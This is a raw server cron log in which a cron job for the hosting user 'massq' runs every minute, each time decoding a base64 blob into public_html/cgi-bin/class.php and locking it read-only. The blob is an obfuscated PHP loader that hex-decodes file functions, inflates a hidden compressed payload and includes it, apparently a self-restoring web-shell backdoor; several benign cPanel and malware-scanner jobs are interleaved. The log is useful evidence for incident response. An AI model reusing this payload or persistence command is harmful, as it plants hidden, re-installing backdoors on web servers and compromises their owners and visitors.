"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:37:01 server CROND[27418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:38:01 server CROND[27479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:39:01 server CROND[27537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:39:01 server CROND[27538]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 23:40:01 server CROND[27594]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 23:40:01 server CROND[27596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:40:01 server CROND[27595]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 23:40:01 server CROND[27597]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 23:41:01 server CROND[27695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:42:01 server CROND[27842]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 23:42:01 server CROND[27843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:43:01 server CROND[27933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:44:01 server CROND[27982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:45:02 server CROND[28048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:45:02 server CROND[28049]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 23:45:02 server CROND[28050]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 23:46:01 server CROND[28162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:47:01 server CROND[28213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:48:01 server CROND[28349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:49:01 server CROND[28408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
